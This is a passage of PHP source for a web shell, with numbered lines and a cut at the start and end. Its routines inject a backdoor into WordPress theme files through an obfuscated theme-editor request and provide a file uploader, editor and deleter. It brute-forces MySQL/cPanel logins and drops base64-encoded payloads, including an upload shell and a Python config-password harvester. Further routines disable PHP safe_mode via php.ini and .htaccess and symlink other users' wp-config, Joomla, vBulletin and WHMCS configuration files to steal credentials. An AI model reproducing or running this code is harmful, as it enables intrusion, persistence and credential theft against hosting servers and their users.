5465 ${${"GLOBALS"}["hzsfzrljrp"]} = Find(${${"GLOBALS"}["lyuhwart"]}, "name=\"file"value = "", """);${$invbqoitgs
5466}
5467=explode("themes",${$ {
5468 "GLOBALS"
5469}
5470["hzsfzrljrp"]
5471}
5472);${$ {
5473 "GLOBALS"
5474}
5475["hxunpqbtrtx"]
5476}
5477=${$ {
5478 "GLOBALS"
5479}
5480["jlsitcuvbiwy"]
5481}
5482." / wp - content / themes".end(${$ {
5483 "GLOBALS"
5484}
5485["tbiofwv"]
5486}
5487);${$smaceamfv
5488}
5489=${$ {
5490 "GLOBALS"
5491}
5492["toixjpn"]
5493}
5494." / wp - admin / theme - editor . php";${$ {
5495 "GLOBALS"
5496}
5497["nqflolcoucup"]
5498}
5499="newcontent = ".${$ {
5500 "GLOBALS"
5501}
5502["swcdttswyns"]
5503}
5504." & action = update & file = ".${$ {
5505 "GLOBALS"
5506}
5507["bcgipvrvy"]
5508}
5509." & _wpnonce = ".${$ {
5510 "GLOBALS"
5511}
5512["iikxjrm"]
5513}
5514." & submit = UpdateFile";${$ {
5515 "GLOBALS"
5516}
5517["lgwgzfosnfo"]
5518}
5519=CurlPage(${$ {
5520 "GLOBALS"
5521}
5522["vulyhv"]
5523}
5524,${$bzftcq
5525}
5526);if(preg_match(" % < divid = \"message\" class=\"updated\">%", ${${"GLOBALS"}["lgwgzfosnfo"]})) {$ojreedwk = "d";
5527$ihxubprds = "theme";
5528$bxgotzx = "theme";
5529${$ihxubprds} = Find(${${"GLOBALS"}["hopfouh"]}, "<li><a href=\"theme-editor.php?file=404.php&theme=", "" > 404Template");${"GLOBALS"
5530}
5531["wvcbqvtc"]="theme";$dmqiwcnrfea="theme";if(preg_match(" / twentyten / i",${$ {
5532 "GLOBALS"
5533}
5534["wvcbqvtc"]
5535}
5536)){$ {
5537 "GLOBALS"
5538}
5539["zvbqhxz"] = "theme";
5540$ {
5541 $ {
5542 "GLOBALS"
5543 }
5544 ["zvbqhxz"]
5545} = "twentyten";
5546}
5547elseif(preg_match(" / twentyeleven / i",${$ {
5548 "GLOBALS"
5549}
5550["lisjdii"]
5551}
5552)){$ {
5553 $ {
5554 "GLOBALS"
5555 }
5556 ["lisjdii"]
5557} = "twentyeleven";
5558}
5559${"GLOBALS"
5560}
5561["mntjkmxhsbxr"]="site_url";${$bxgotzx
5562}
5563=trim(str_replace(" / ","",${$dmqiwcnrfea
5564}
5565));${$ {
5566 "GLOBALS"
5567}
5568["uqkjvgeblqb"]
5569}
5570=${$ {
5571 "GLOBALS"
5572}
5573["mntjkmxhsbxr"]
5574}
5575." / wp - content / themes / ".${$ {
5576 "GLOBALS"
5577}
5578["lisjdii"]
5579}
5580." / 404.php";listall("wp . txt",${$ojreedwk
5581}
5582.Chr(10));}}echo" < ahref = ".${$ {
5583 "GLOBALS"
5584}
5585["uqkjvgeblqb"]
5586}
5587." > LINK < / a > < br / > ";echo" < / td > ";}}}else{$ {
5588 "GLOBALS"
5589}
5590["cwwetjodzf"] = "url";
5591$ {
5592 "GLOBALS"
5593}
5594["elqblbp"] = "domain";
5595$ {
5596 "GLOBALS"
5597}
5598["jskzvvaxsxw"] = "config";
5599$ldmxnjuc = "owner";
5600echo "<tr><td><a href=" . $ {
5601 $ {
5602 "GLOBALS"
5603 }
5604 ["cwwetjodzf"]
5605} . " onclick="window . open(this . href);
5606return false;
5607">" . $ {
5608 $ {
5609 "GLOBALS"
5610 }
5611 ["elqblbp"]
5612} . "</a></td><td>" . $ {
5613 $ldmxnjuc
5614}
5615["name"] . "</td><td><a href=" . $ {
5616 $ {
5617 "GLOBALS"
5618 }
5619 ["jskzvvaxsxw"]
5620} . ">WordPress</a></td><td><font color=\"red\">[x]
5621
5622mysql fail</font></td>";
5623}
5624}}}}}break;case"uploader":echo" < center > < formaction = \"\" method="post" enctype=\"multipart/form-data"name = \"uploader\" id=\"uploader\">";
5625echo "<center><input type="file\" name="file" size=\"50" > < inputname = \"_upl"type = \"submit\" id="_upl"
5626
5627value=\"Upload" > < / form > < / center > ";if($_POST["_upl"]=="Upload"){if(@copy($_FILES["file"]["tmp_name"],$_FILES["file"]["name"])){echo" < palign = \"center\"><font face="Verdana\"
5628
5629size="1"><font color=\"white\"> Done !!</font><br>";
5630} else {echo "<font color=" #FF0000\">Failed :( </font></p>
5631 < / td > < / table > < / tr > ";}}}}
5632}
5633elseif(isset($_GET['x']) && ($_GET['x'] == 'private')){
5634?>
5635<form action=" ? y = < ? phpecho $pwd; ?>&x=private" method="post">
5636<b><center>love you Salsha :* i have (mpc)</b>
5637</form>
5638
5639<?php } elseif (isset($_GET['x']) && ($_GET['x'] == 'phpinfo')) {@ob_start();
5640eval("phpinfo();");
5641$buff = @ob_get_contents();
5642@ob_end_clean();
5643$awal = strpos($buff, "<body>") + 6;
5644$akhir = strpos($buff, "</body>");
5645echo "<div class=\"phpinfo\">" . substr($buff, $awal, $akhir - $awal) . "</div>";
5646} elseif (isset($_GET['view']) && ($_GET['view'] != "")) {if (is_file($_GET['view'])) {if (!isset($file)) $file = magicboom($_GET['view']);
5647if (!$win && $posix) {$name = @posix_getpwuid(@fileowner($folder));
5648$group = @posix_getgrgid(@filegroup($folder));
5649$owner = $name['name'] . "<span class=\"gaya\"> : </span>" . $group['name'];
5650} else {$owner = $user;
5651}$filn = basename($file);
5652echo "<table style=\"margin:6px 0 0 2px;line-height:20px;\">
5653 <tr><td>Filename</td><td><span id=\"" . clearspace($filn) . "_link\">" . $file . "</span>
5654 <form action=\"?y=" . $pwd . "&view=$file\" method=\"post\" id=\"" . clearspace($filn) . "_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
5655 <input type=\"hidden\" name=\"oldname\" value=\"" . $filn . "\" style=\"margin:0;padding:0;\" />
5656 <input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newname\" value=\"" . $filn . "\" />
5657 <input class=\"inputzbut\" type=\"submit\" name=\"rename\" value=\"rename\" />
5658 <input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('" . clearspace($filn) . "_link','" . clearspace($filn) . "_form');\" />
5659 </form>
5660 </td></tr>
5661 <tr><td>Size</td><td>" . ukuran($file) . "</td></tr>
5662 <tr><td>Permission</td><td>" . get_perms($file) . "</td></tr>
5663 <tr><td>Owner</td><td>" . $owner . "</td></tr>
5664 <tr><td>Create time</td><td>" . date("d-M-Y H:i", @filectime($file)) . "</td></tr>
5665 <tr><td>Last modified</td><td>" . date("d-M-Y H:i", @filemtime($file)) . "</td></tr>
5666 <tr><td>Last accessed</td><td>" . date("d-M-Y H:i", @fileatime($file)) . "</td></tr>
5667 <tr><td>Actions</td><td><a href=\"?y=$pwd&edit=$file\">edit</a> | <a href=\"javascript:tukar('" . clearspace($filn) . "_link','" . clearspace($filn) . "_form');\">rename</a> | <a href=\"?y=$pwd&delete=$file\">delete</a> | <a href=\"?y=$pwd&dl=$file\">download</a> (<a href=\"?y=$pwd&dlgzip=$file\">gzip</a>)</td></tr>
5668 <tr><td>View</td><td><a href=\"?y=" . $pwd . "&view=" . $file . "\">text</a> | <a href=\"?y=" . $pwd . "&view=" . $file . "&type=code\">code</a> | <a href=\"?y=" . $pwd . "&view=" . $file . "&type=image\">image</a></td></tr>
5669 </table>
5670 ";
5671if (isset($_GET['type']) && ($_GET['type'] == 'image')) {echo "<div style=\"text-align:center;margin:8px;\"><img src=\"?y=" . $pwd . "&img=" . $filn . "\"></div>";
5672} elseif (isset($_GET['type']) && ($_GET['type'] == 'code')) {echo "<div class=\"viewfile\">";
5673$file = wordwrap(@file_get_contents($file), "240", "
5674");
5675@highlight_string($file);
5676echo "</div>";
5677} else {echo "<div class=\"viewfile\">";
5678echo nl2br(htmlentities((@file_get_contents($file))));
5679echo "</div>";
5680}} elseif (is_dir($_GET['view'])) {echo showdir($pwd, $prompt);
5681}}
5682//////////////////////////////////////////////////
5683elseif (isset($_GET['edit']) && ($_GET['edit'] != "")) {if (isset($_POST['save'])) {$file = $_POST['saveas'];
5684$content = magicboom($_POST['content']);
5685if ($filez = @fopen($file, "w")) {$time = date("d-M-Y H:i", time());
5686if (@fwrite($filez, $content)) $msg = "file saved <span class=\"gaya\">@</span> " . $time;
5687else $msg = "failed to save";
5688@fclose($filez);
5689} else $msg = "permission denied";
5690}if (!isset($file)) $file = $_GET['edit'];
5691if ($filez = @fopen($file, "r")) {$content = "";
5692while (!feof($filez)) {$content.= htmlentities(str_replace("''", "'", fgets($filez)));
5693}@fclose($filez);
5694}
5695?>
5696<form action="?y=<?php echo $pwd; ?>&edit=<?php echo $file; ?>" method="post">
5697<table class="cmdbox">
5698<tr><td colspan="2">
5699<textarea class="output" name="content">
5700<?php echo $content; ?>
5701</textarea>
5702<tr><td colspan="2">Save as <input onMouseOver="this.focus();" id="cmd" class="inputz" type="text" name="saveas" style="width:60%;" value="<?php echo $file; ?>" /><input class="inputzbut" type="submit" value="Save !" name="save" style="width:12%;" />
5703 <?php echo $msg; ?></td></tr>
5704</table>
5705</form>
5706<?php
5707} elseif (isset($_GET['x']) && ($_GET['x'] == 'logout')) {
5708?>
5709<form action="?y=<?php echo $pwd; ?>&x=logout" method="post">
5710
5711<?php
5712unset($_SESSION[md5($_SERVER['HTTP_HOST']) ]);
5713echo '<center><b>logged out</b></center>';
5714} elseif (isset($_GET['x']) && ($_GET['x'] == 'brute')) {
5715?>
5716 <form action="?y=<?php echo $pwd; ?>&x=brute" method="post">
5717 <?php
5718//cpanel bruteforce
5719
5720?>
5721<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
5722<?php
5723@set_time_limit(0);
5724@error_reporting(0);
5725if ($_POST['page'] == 'find') {if (isset($_POST['usernames']) && isset($_POST['passwords'])) {if ($_POST['type'] == 'passwd') {$e = explode("
5726", $_POST['usernames']);
5727foreach ($e as $value) {$k = explode(":", $value);
5728$username.= $k['0'] . " ";
5729}} elseif ($_POST['type'] == 'simple') {$username = str_replace("
5730", ' ', $_POST['usernames']);
5731}$a1 = explode(" ", $username);
5732$a2 = explode("
5733", $_POST['passwords']);
5734$id2 = count($a2);
5735$ok = 0;
5736foreach ($a1 as $user) {if ($user !== '') {$user = trim($user);
5737for ($i = 0;$i <= $id2;$i++) {$pass = trim($a2[$i]);
5738if (@mysql_connect('localhost', $user, $pass)) {echo "zoo !! ~ user is (<b><font color=white>$user</font></b>) Password is (<b><font color=white>$pass</font></b>)<br />";
5739$ok++;
5740}}}}echo "<hr><b>Hell !! <font color=white>$ok</font> Cpanel by Pasirmerah</b>";
5741echo "<center><b><a href=" . $_SERVER['PHP_SELF'] . ">BACK</a>";
5742exit;
5743}}if ($_POST['pass'] == 'password') {@error_reporting(0);
5744$i = getenv('REMOTE_ADDR');
5745$d = date('D, M jS, Y H:i', time());
5746$h = $_SERVER['HTTP_HOST'];
5747$dir = $_SERVER['PHP_SELF'];
5748$back = "PD9waHANCmVjaG8gJzxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIG5hbWU9InVwbG9hZGVyIiBpZD0idXBsb2FkZXIiPic7DQplY2hvICc8aW5wdXQgdHlwZT0iZmlsZSIgbmFtZT0iZmlsZSIgc2l6ZT0iNTAiPjxpbnB1dCBuYW1lPSJfdXBsIiB0eXBlPSJzdWJtaXQiIGlkPSJfdXBsIiB2YWx1ZT0iVXBsb2FkIj48L2Zvcm0+JzsNCmlmKCAkX1BPU1RbJ191cGwnXSA9PSAiVXBsb2FkIiApIHsNCmlmKEBjb3B5KCRfRklMRVNbJ2ZpbGUnXVsndG1wX25hbWUnXSwgJF9GSUxFU1snZmlsZSddWyduYW1lJ10pKSB7IGVjaG8gJzxiPktvcmFuZyBEYWggQmVyamF5YSBVcGxvYWQgU2hlbGwgS29yYW5nISEhPGI+PGJyPjxicj4nOyB9DQplbHNlIHsgZWNobyAnPGI+S29yYW5nIEdhZ2FsIFVwbG9hZCBTaGVsbCBLb3JhbmchISE8L2I+PGJyPjxicj4nOyB9DQp9DQo/Pg==";
5749$file = fopen(".php", "w+");
5750$write = fwrite($file, base64_decode($back));
5751fclose($file);
5752chmod(".php", 0755);
5753mkdir('config', 0755);
5754$cp = 'IyEvdXNyL2Jpbi9lbnYgcHl0aG9uDQoNCicnJw0KQnk6IEFobWVkIFNoYXdreSBha2EgbG54ZzMzaw0KdGh4OiBPYnp5LCBSZWxpaywgbW9oYWIgYW5kICNhcmFicHduIA0KJycnDQoNCmltcG9ydCBzeXMNCmltcG9ydCBvcw0KaW1wb3J0IHJlDQppbXBvcnQgc3VicHJvY2Vzcw0KaW1wb3J0IHVybGxpYg0KaW1wb3J0IGdsb2INCmZyb20gcGxhdGZvcm0gaW1wb3J0IHN5c3RlbQ0KDQppZiBsZW4oc3lzLmFyZ3YpICE9IDM6DQogIHByaW50JycnCQ0KIFVzYWdlOiAlcyBbVVJMLi4uXSBbZGlyZWN0b3J5Li4uXQ0KIEV4KSAlcyBodHRwOi8vd3d3LnRlc3QuY29tL3Rlc3QvIFtkaXIgLi4uXScnJyAlIChzeXMuYXJndlswXSwgc3lzLmFyZ3ZbMF0pDQogIHN5cy5leGl0KDEpDQoNCnNpdGUgPSBzeXMuYXJndlsxXQ0KZm91dCA9IHN5cy5hcmd2WzJdDQoNCnRyeToNCiAgcmVxICA9IHVybGxpYi51cmxvcGVuKHNpdGUpDQogIHJlYWQgPSByZXEucmVhZCgpDQogIGlmIHN5c3RlbSgpID09ICdMaW51eCc6DQogICAgZiA9IG9wZW4oJy90bXAvZGF0YS50eHQnLCAndycpDQogICAgZi53cml0ZShyZWFkKQ0KICAgIGYuY2xvc2UoKQ0KICBpZiBzeXN0ZW0oKSA9PSAnV2luZG93cyc6DQogICAgZiA9IG9wZW4oJ2RhdGEudHh0JywgJ3cnKSAgDQogICAgZi53cml0ZShyZWFkKQ0KICAgIGYuY2xvc2UoKQ0KDQogIGkgPSAwDQogIGlmIHN5c3RlbSgpID09ICdMaW51eCc6DQogICAgZiA9IG9wZW4oJy90bXAvZGF0YS50eHQnLCAnclUnKQ0KICAgIGZvciBsaW5lIGluIGY6DQogICAgICBpZiBsaW5lLnN0YXJ0c3dpdGgoJzxsaT48YScpID09IFRydWUgOg0KICAgICAgICBtID0gcmUuc2VhcmNoKHInKDxhIGhyZWY9IikoLitbXj5dKSgiPiknLCBsaW5lKQ0KICAgICAgICBpICs9IDENCiAgICAgICAgbG9jYWxfbmFtZSA9ICclcy9maWxlJWQudHh0JyAlIChmb3V0LCBpKQ0KICAgICAgICBwcmludCAnUmV0cmlldmluZy4uLlx0XHQnLCBzaXRlICsgbS5ncm91cCgyKQ0KICAgICAgICB0cnk6ICB1cmxsaWIudXJscmV0cmlldmUoc2l0ZSArIG0uZ3JvdXAoMiksIGxvY2FsX25hbWUpDQogICAgICAgIGV4Y2VwdCBJT0Vycm9yOg0KICAgICAgICAgIHByaW50ICdcblslc10gZG9lc25cJ3QgZXhpc3QsIGNyZWF0ZSBpdCBmaXJzdCcgJSBmb3V0DQogICAgICAgICAgc3lzLmV4aXQoKQ0KICAgICAgaWYgbGluZS5zdGFydHN3aXRoKCc8aW1nJykgPT0gVHJ1ZToNCiAgICAgICAgbTEgPSByZS5zZWFyY2gocicoPGEgaHJlZj0iKSguK1tePl0pKCI+KScsIGxpbmUpDQogICAgICAgIGkgKz0gMQ0KICAgICAgICBsb2NhbF9uYW1lID0gJyVzL2ZpbGUlZC50eHQnICUgKGZvdXQsIGkpDQogICAgICAgIHByaW50ICdSZXRyaWV2aW5nLi4uXHRcdCcsIHNpdGUgKyBtMS5ncm91cCgyKQ0KICAgICAgICB0cnk6ICB1cmxsaWIudXJscmV0cmlldmUoc2l0ZSArIG0xLmdyb3VwKDIpLCBsb2NhbF9uYW1lKQ0KICAgICAgICBleGNlcHQgSU9FcnJvcjoNCiAgICAgICAgICBwcmludCAnXG5bJXNdIGRvZXNuXCd0IGV4aXN0LCBjcmVhdGUgaXQgZmlyc3QnICUgZm91dA0KICAgICAgICAgIHN5cy5leGl0KCkNCiAgICAgIGlmIGxpbmUuc3RhcnRzd2l0aCgnPElNRycpID09IFRydWU6DQogICAgICAgIG0yID0gcmUuc2VhcmNoKHInKDxBIEhSRUY9IikoLitbXj5dKSgiPiknLCBsaW5lKQ0KICAgICAgICBpICs9IDENCiAgICAgICAgbG9jYWxfbmFtZSA9ICclcy9maWxlJWQudHh0JyAlIChmb3V0LCBpKQ0KICAgICAgICBwcmludCAnUmV0cmlldmluZy4uLlx0XHQnLCBzaXRlICsgbTIuZ3JvdXAoMikNCiAgICAgICAgdHJ5OiAgdXJsbGliLnVybHJldHJpZXZlKHNpdGUgKyBtMi5ncm91cCgyKSwgbG9jYWxfbmFtZSkNCiAgICAgICAgZXhjZXB0IElPRXJyb3I6DQogICAgICAgICAgcHJpbnQgJ1xuWyVzXSBkb2VzblwndCBleGlzdCwgY3JlYXRlIGl0IGZpcnN0JyAlIGZvdXQNCiAgICAgICAgICBzeXMuZXhpdCgpDQogICAgZi5jbG9zZSgpDQogIGlmIHN5c3RlbSgpID09ICdXaW5kb3dzJzoNCiAgICBmID0gb3BlbignZGF0YS50eHQnLCAnclUnKQ0KICAgIGZvciBsaW5lIGluIGY6DQogICAgICBpZiBsaW5lLnN0YXJ0c3dpdGgoJzxsaT48YScpID09IFRydWUgOg0KICAgICAgICBtID0gcmUuc2VhcmNoKHInKDxhIGhyZWY9IikoLitbXj5dKSgiPiknLCBsaW5lKQ0KICAgICAgICBpICs9IDENCiAgICAgICAgbG9jYWxfbmFtZSA9ICclcy9maWxlJWQudHh0JyAlIChmb3V0LCBpKQ0KICAgICAgICBwcmludCAnUmV0cmlldmluZy4uLlx0XHQnLCBzaXRlICsgbS5ncm91cCgyKQ0KICAgICAgICB0cnk6ICB1cmxsaWIudXJscmV0cmlldmUoc2l0ZSArIG0uZ3JvdXAoMiksIGxvY2FsX25hbWUpDQogICAgICAgIGV4Y2VwdCBJT0Vycm9yOg0KICAgICAgICAgIHByaW50ICdcblslc10gZG9lc25cJ3QgZXhpc3QsIGNyZWF0ZSBpdCBmaXJzdCcgJSBmb3V0DQogICAgICAgICAgc3lzLmV4aXQoKQ0KICAgICAgaWYgbGluZS5zdGFydHN3aXRoKCc8aW1nJykgPT0gVHJ1ZToNCiAgICAgICAgbTEgPSByZS5zZWFyY2gocicoPGEgaHJlZj0iKSguK1tePl0pKCI+KScsIGxpbmUpDQogICAgICAgIGkgKz0gMQ0KICAgICAgICBsb2NhbF9uYW1lID0gJyVzL2ZpbGUlZC50eHQnICUgKGZvdXQsIGkpDQogICAgICAgIHByaW50ICdSZXRyaWV2aW5nLi4uXHRcdCcsIHNpdGUgKyBtMS5ncm91cCgyKQ0KICAgICAgICB0cnk6ICB1cmxsaWIudXJscmV0cmlldmUoc2l0ZSArIG0xLmdyb3VwKDIpLCBsb2NhbF9uYW1lKQ0KICAgICAgICBleGNlcHQgSU9FcnJvcjoNCiAgICAgICAgICBwcmludCAnXG5bJXNdIGRvZXNuXCd0IGV4aXN0LCBjcmVhdGUgaXQgZmlyc3QnICUgZm91dA0KICAgICAgICAgIHN5cy5leGl0KCkNCiAgICAgIGlmIGxpbmUuc3RhcnRzd2l0aCgnPElNRycpID09IFRydWU6DQogICAgICAgIG0yID0gcmUuc2VhcmNoKHInKDxBIEhSRUY9IikoLitbXj5dKSgiPiknLCBsaW5lKQ0KICAgICAgICBpICs9IDENCiAgICAgICAgbG9jYWxfbmFtZSA9ICclcy9maWxlJWQudHh0JyAlIChmb3V0LCBpKQ0KICAgICAgICBwcmludCAnUmV0cmlldmluZy4uLlx0XHQnLCBzaXRlICsgbTIuZ3JvdXAoMikNCiAgICAgICAgdHJ5OiAgdXJsbGliLnVybHJldHJpZXZlKHNpdGUgKyBtMi5ncm91cCgyKSwgbG9jYWxfbmFtZSkNCiAgICAgICAgZXhjZXB0IElPRXJyb3I6DQogICAgICAgICAgcHJpbnQgJ1xuWyVzXSBkb2VzblwndCBleGlzdCwgY3JlYXRlIGl0IGZpcnN0JyAlIGZvdXQNCiAgICAgICAgICBzeXMuZXhpdCgpDQogICAgZi5jbG9zZSgpDQogIGlmIHN5c3RlbSgpID09ICdMaW51eCc6DQogICAgY2xlYW51cCA9IHN1YnByb2Nlc3MuUG9wZW4oJ3JtIC1yZiAvdG1wL2RhdGEudHh0ID4gL2Rldi9udWxsJywgc2hlbGw9VHJ1ZSkud2FpdCgpDQogIGlmIHN5c3RlbSgpID09ICdXaW5kb3dzJzoNCiAgICBjbGVhbnVwID0gc3VicHJvY2Vzcy5Qb3BlbignZGVsIEM6XGRhdGEudHh0Jywgc2hlbGw9VHJ1ZSkud2FpdCgpDQogIHByaW50ICdcbicsICctJyAqIDEwMCwgJ1xuJw0KICBpZiBzeXN0ZW0oKSA9PSAnTGludXgnOg0KICAgIGZvciByb290LCBkaXJzLCBmaWxlcyBpbiBvcy53YWxrKGZvdXQpOg0KICAgICAgZm9yIGZuYW1lIGluIGZpbGVzOg0KICAgICAgICBmdWxscGF0aCA9IG9zLnBhdGguam9pbihyb290LCBmbmFtZSkNCiAgICAgICAgZiA9IG9wZW4oZnVsbHBhdGgsICdyJykNCiAgICAgICAgZm9yIGxpbmUgaW4gZjoNCiAgICAgICAgICBzZWNyID0gcmUuc2VhcmNoIChyIihkYl9wYXNzd29yZCddID0gJykoLitbXj5dKSgnOykiLCBsaW5lKQ0KICAgICAgICAgIGlmIHNlY3IgaXMgbm90IE5vbmU6IHByaW50IChzZWNyLmdyb3VwKDIpKSAgDQogICAgICAgICAgc2VjcjEgPSByZS5zZWFyY2gociIocGFzc3dvcmQgPSAnKSguK1tePl0pKCc7KSIsIGxpbmUpDQogICAgICAgICAgaWYgc2VjcjEgaXMgbm90IE5vbmU6ICBwcmludCAgKHNlY3IxLmdyb3VwKDIpKQ0KICAgICAgICAgIHNlY3IyID0gcmUuc2VhcmNoKHIiKERCX1BBU1NXT1JEJykoLi4uKSguK1tePl0pKCcpIiwgbGluZSkNCiAgICAgICAgICBpZiBzZWNyMiBpcyBub3QgTm9uZTogcHJpbnQgKHNlY3IyLmdyb3VwKDMpKQ0KICAgICAgICAgIHNlY3IzID0gcmUuc2VhcmNoIChyIihkYnBhc3MgPS4uKSguK1tePl0pKC47KSIsIGxpbmUpDQogICAgICAgICAgaWYgc2VjcjMgaXMgbm90IE5vbmU6IHByaW50IChzZWNyMy5ncm91cCgyKSkNCiAgICAgICAgICBzZWNyNCA9IHJlLnNlYXJjaCAociIoREJQQVNTV09SRCA9ICcpKC4rW14+XSkoLjspIiwgbGluZSkNCiAgICAgICAgICBpZiBzZWNyNCBpcyBub3QgTm9uZTogcHJpbnQgKHNlY3I0Lmdyb3VwKDIpKQ0KICAgICAgICAgIHNlY3I1ID0gcmUuc2VhcmNoIChyIihEQnBhc3MgPSAnKSguK1tePl0pKCc7KSIsIGxpbmUpDQogICAgICAgICAgaWYgc2VjcjUgaXMgbm90IE5vbmU6IHByaW50IChzZWNyNS5ncm91cCgyKSkNCiAgICAgICAgICBzZWNyNiA9IHJlLnNlYXJjaCAociIoZGJwYXNzd2QgPSAnKSguK1tePl0pKCc7KSIsIGxpbmUpDQogICAgICAgICAgaWYgc2VjcjYgaXMgbm90IE5vbmU6IHByaW50IChzZWNyNi5ncm91cCgyKSkNCiAgICAgICAgICBzZWNyNyA9IHJlLnNlYXJjaCAociIobW9zQ29uZmlnX3Bhc3N3b3JkID0gJykoLitbXj5dKSgnOykiLCBsaW5lKQ0KICAgICAgICAgIGlmIHNlY3I3IGlzIG5vdCBOb25lOiBwcmludCAoc2VjcjcuZ3JvdXAoMikpDQogICAgICAgIGYuY2xvc2UoKQ0KICBpZiBzeXN0ZW0oKSA9PSAnV2luZG93cyc6DQogICAgZm9yIGluZmlsZSBpbiBnbG9iLmdsb2IoIG9zLnBhdGguam9pbihmb3V0LCAnKi50eHQnKSApOg0KICAgICAgZiA9IG9wZW4oaW5maWxlLCAncicpDQogICAgICBmb3IgbGluZSBpbiBmOg0KICAgICAgICBzZWNyID0gcmUuc2VhcmNoIChyIihkYl9wYXNzd29yZCddID0gJykoLitbXj5dKSgnOykiLCBsaW5lKQ0KICAgICAgICBpZiBzZWNyIGlzIG5vdCBOb25lOiBwcmludCAoc2Vjci5ncm91cCgyKSkgIA0KICAgICAgICBzZWNyMSA9IHJlLnNlYXJjaChyIihwYXNzd29yZCA9ICcpKC4rW14+XSkoJzspIiwgbGluZSkNCiAgICAgICAgaWYgc2VjcjEgaXMgbm90IE5vbmU6ICBwcmludCAgKHNlY3IxLmdyb3VwKDIpKQ0KICAgICAgICBzZWNyMiA9IHJlLnNlYXJjaChyIihEQl9QQVNTV09SRCcpKC4uLikoLitbXj5dKSgnKSIsIGxpbmUpDQogICAgICAgIGlmIHNlY3IyIGlzIG5vdCBOb25lOiBwcmludCAoc2VjcjIuZ3JvdXAoMykpDQogICAgICAgIHNlY3IzID0gcmUuc2VhcmNoIChyIihkYnBhc3MgPS4uKSguK1tePl0pKC47KSIsIGxpbmUpDQogICAgICAgIGlmIHNlY3IzIGlzIG5vdCBOb25lOiBwcmludCAoc2VjcjMuZ3JvdXAoMikpDQogICAgICAgIHNlY3I0ID0gcmUuc2VhcmNoIChyIihEQlBBU1NXT1JEID0gJykoLitbXj5dKSguOykiLCBsaW5lKQ0KICAgICAgICBpZiBzZWNyNCBpcyBub3QgTm9uZTogcHJpbnQgKHNlY3I0Lmdyb3VwKDIpKQ0KICAgICAgICBzZWNyNSA9IHJlLnNlYXJjaCAociIoREJwYXNzID0gJykoLitbXj5dKSgnOykiLCBsaW5lKQ0KICAgICAgICBpZiBzZWNyNSBpcyBub3QgTm9uZTogcHJpbnQgKHNlY3I1Lmdyb3VwKDIpKQ0KICAgICAgICBzZWNyNiA9IHJlLnNlYXJjaCAociIoZGJwYXNzd2QgPSAnKSguK1tePl0pKCc7KSIsIGxpbmUpDQogICAgICAgIGlmIHNlY3I2IGlzIG5vdCBOb25lOiBwcmludCAoc2VjcjYuZ3JvdXAoMikpDQogICAgICAgIHNlY3I3ID0gcmUuc2VhcmNoIChyIihtb3NDb25maWdfcGFzc3dvcmQgPSAnKSguK1tePl0pKCc7KSIsIGxpbmUpDQogICAgICAgIGlmIHNlY3I3IGlzIG5vdCBOb25lOiBwcmludCAoc2VjcjcuZ3JvdXAoMikpDQogICAgICBmLmNsb3NlKCkNCmV4Y2VwdCAoS2V5Ym9hcmRJbnRlcnJ1cHQpOg0KICBwcmludCAnXG5UaGFua3MgZm9yIHVzaW5nIGl0IC5fXic=';
5755$file = fopen("cp.py", "w+");
5756$write = fwrite($file, base64_decode($cp));
5757fclose($file);
5758chmod("cp.py", 0755);
5759$url = $_POST['url'];
5760echo "<center>
5761<textarea cols=\"90\" rows=\"20\" name=\"usernames\">";
5762system("python cp.py $url config");
5763unlink('cp.py');
5764echo "</textarea>
5765</center>";
5766echo "<hr><center><b><a href=" . $_SERVER['PHP_SELF'] . ">BACK</a>";
5767exit;
5768}if ($_POST['matikan'] == 'sekatan') {@error_reporting(0);
5769$phpini = 'c2FmZV9tb2RlPU9GRg0KZGlzYWJsZV9mdW5jdGlvbnM9Tk9ORQ==';
5770$file = fopen("php.ini", "w+");
5771$write = fwrite($file, base64_decode($phpini));
5772fclose($file);
5773$htaccess = 'T3B0aW9ucyBGb2xsb3dTeW1MaW5rcyBNdWx0aVZpZXdzIEluZGV4ZXMgRXhlY0NHSQ==';
5774$file = fopen(".htaccess", "w+");
5775$write = fwrite($file, base64_decode($htaccess));
5776echo "<hr><center><b>DONE!";
5777echo "<hr><center><b><a href=" . $_SERVER['PHP_SELF'] . ">BACK</a>";
5778exit;
5779}if ($_POST['mendapatkan'] == 'passwd') {@set_magic_quotes_runtime(0);
5780ob_start();
5781error_reporting(0);
5782@set_time_limit(0);
5783@ini_set('max_execution_time', 0);
5784@ini_set('output_buffering', 0);
5785$fn = $_POST['foldername'];
5786//all function here
5787function syml($usern, $pdomain) {symlink('/home/' . $usern . '/public_html/vb/includes/config.php', $pdomain . '~~vBulletin1.txt');
5788symlink('/home/' . $usern . '/public_html/includes/config.php', $pdomain . '~~vBulletin2.txt');
5789symlink('/home/' . $usern . '/public_html/forum/includes/config.php', $pdomain . '~~vBulletin3.txt');
5790symlink('/home/' . $usern . '/public_html/cc/includes/config.php', $pdomain . '~~vBulletin4.txt');
5791symlink('/home/' . $usern . '/public_html/config.php', $pdomain . '~~Phpbb1.txt');
5792symlink('/home/' . $usern . '/public_html/forum/includes/config.php', $pdomain . '~~Phpbb2.txt');
5793symlink('/home/' . $usern . '/public_html/wp-config.php', $pdomain . '~~Wordpress1.txt');
5794symlink('/home/' . $usern . '/public_html/blog/wp-config.php', $pdomain . '~~Wordpress2.txt');
5795symlink('/home/' . $usern . '/public_html/configuration.php', $pdomain . '~~Joomla1.txt');
5796symlink('/home/' . $usern . '/public_html/blog/configuration.php', $pdomain . '~~Joomla2.txt');
5797symlink('/home/' . $usern . '/public_html/joomla/configuration.php', $pdomain . '~~Joomla3.txt');
5798symlink('/home/' . $usern . '/public_html/whm/configuration.php', $pdomain . '~~Whm1.txt');
5799symlink('/home/' . $usern . '/public_html/whmc/configuration.php', $pdomain . '~~Whm2.txt');
5800symlink('/home/' . $usern . '/public_html/support/configuration.php', $pdomain . '~~Whm3.txt');
5801symlink('/home/' . $usern . '/public_html/client/configuration.php', $pdomain . '~~Whm4.txt');
5802symlink('/home/' . $usern . '/public_html/billings/configuration.php', $pdomain . '~~Whm5.txt');
5803symlink('/home/' . $usern . '/public_html/billing/configuration.php', $pdomain . '~~Whm6.txt');
